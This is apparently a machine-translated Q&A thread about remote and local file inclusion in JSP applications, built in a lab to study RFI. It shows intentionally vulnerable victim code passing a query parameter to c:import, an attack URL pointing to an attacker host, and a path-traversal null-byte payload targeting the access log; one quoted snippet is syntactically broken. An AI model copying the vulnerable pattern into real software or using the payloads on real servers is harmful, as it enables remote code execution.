特に、JSPアプリで、RFI(リモートファイルインクルージョン)の理解を深めることに取り組んでいます。
実際のRFIの動作を複製するために別のサーバーからJSPページをインポートする脆弱なアプリケーションを作成しました。
これはインポートコードです:
<c:import url ="http://localhost:8082/rfi.jsp"/>
Rfi.jspコードは表示されるだけで、実行されません。 JSP RFIを使用してコード実行を実現することは可能ですか?
ありがとう。
私が分析できる限り、JSPを使用すると、攻撃対象サーバーではなく攻撃サーバーでのみJSPを実行できます。 (誰かが同意できない場合は、コードの例について非常に満足しています)。
したがって、あなたの場合、localhost:8082
は攻撃者サーバーである必要があります。コードを実行するには、攻撃者のサーバーもWebコンテナーである必要があります。 rfi.jspが提供されるTomcat。それ以外の場合、サーバーは、実行されたJSPではなく、JSPコードのテキスト文字列のみを配信します。
さらに
<c:import url ="http://localhost:8082/rfi.jsp"/>
悪意のある開発者がコードの作成中に意図的にファイルをインクルードしたい場合を除いて、実際にはリモートファイルインクルージョンの脆弱性ではありません。通常、ファイルインクルードの脆弱性は、なんらかの入力の可能性から、主にクエリパラメータを使用することによって引き起こされます。したがって、脆弱性をトリガーするために、ブラウザーのURLバーで次のようになる可能性があります。
http://myvictimserver/myvulnwebapp/myvulnrfijspfile.jsp?myvulnqueryparameter=http://localhost:8082/rfi.jsp
ここでrfi.jsp
には、攻撃者として被害者に見せたいコードが含まれています。
被害者のサーバーコードは<c:import>
ではなく<jsp:include
を使用する必要があります。<c:import>
は外部URLを許可しますが、<jsp:include>
はこれを許可せず、内部でのみ機能するためローカルファイルインクルードを開くことができます問題。
被害者側の問題のあるコードスニペットは次のとおりです。
myvulnrfijspfile.jsp
:
<%@ taglib uri = "http://Java.Sun.com/jsp/jstl/core" prefix = "c" %>
<c:import url="<%= request.getParameter(\"myvulnqueryparameter\")%>" />
tomcatフォルダー構造は次のようになります。
Tomcat/webapps/myvulnwebapp
フォルダ:
.
./myvulnrfijspfile.jsp
./WEB-INF
./WEB-INF/classes
./WEB-INF/lib
./WEB-INF/lib/jstl-1.2.jar
OscarAkaElvisの答えは抽出したコード
<%
String p = request.getParameter("p");
@include file="<%="includes/" + p +".jsp"%>"
%>
はRFIの脆弱なコードではありません。これはLFIであり、<%@include>
は静的なインクルードを対象としているため、おそらく実行時にではなくコンパイル時に追加されるため、困難です(cf https://www.javatips。 net/blog/difference-between-static-include-and-dynamic-include )。
追伸docker 私のgithubリポジトリ を使用して、さまざまなプログラミング言語用のサンプルネットワークをいくつか作成しました。上記の犠牲者コードと攻撃コードは、JSP 2.3を備えたApache Tomcat/9.0.21でそれぞれ実行されます。
この古い質問を見つけたので、とにかく答えようと思います。
答えはイエスですが、あなたが置いたコードではそうではありません。 RFI(リモートファイルインクルード)には、PHP、JSP、および一般的ではないHTML SSI(サーバー側インクルード)が含まれていません。その定義については RFI定義 をご覧ください。
私が投稿したリンクから抽出されたこのコードは、JSP RFIに対して脆弱です。
<%
String p = request.getParameter("p");
@include file="<%="includes/" + p +".jsp"%>"
%>
/vulnerable.jsp?p=../../../../var/log/access.log%00
-PHPとは異なり、JSPは引き続きヌルバイトインジェクションの影響を受けます。このパラメーターは、WebサーバーのアクセスログにあるJSPコマンドを実行します。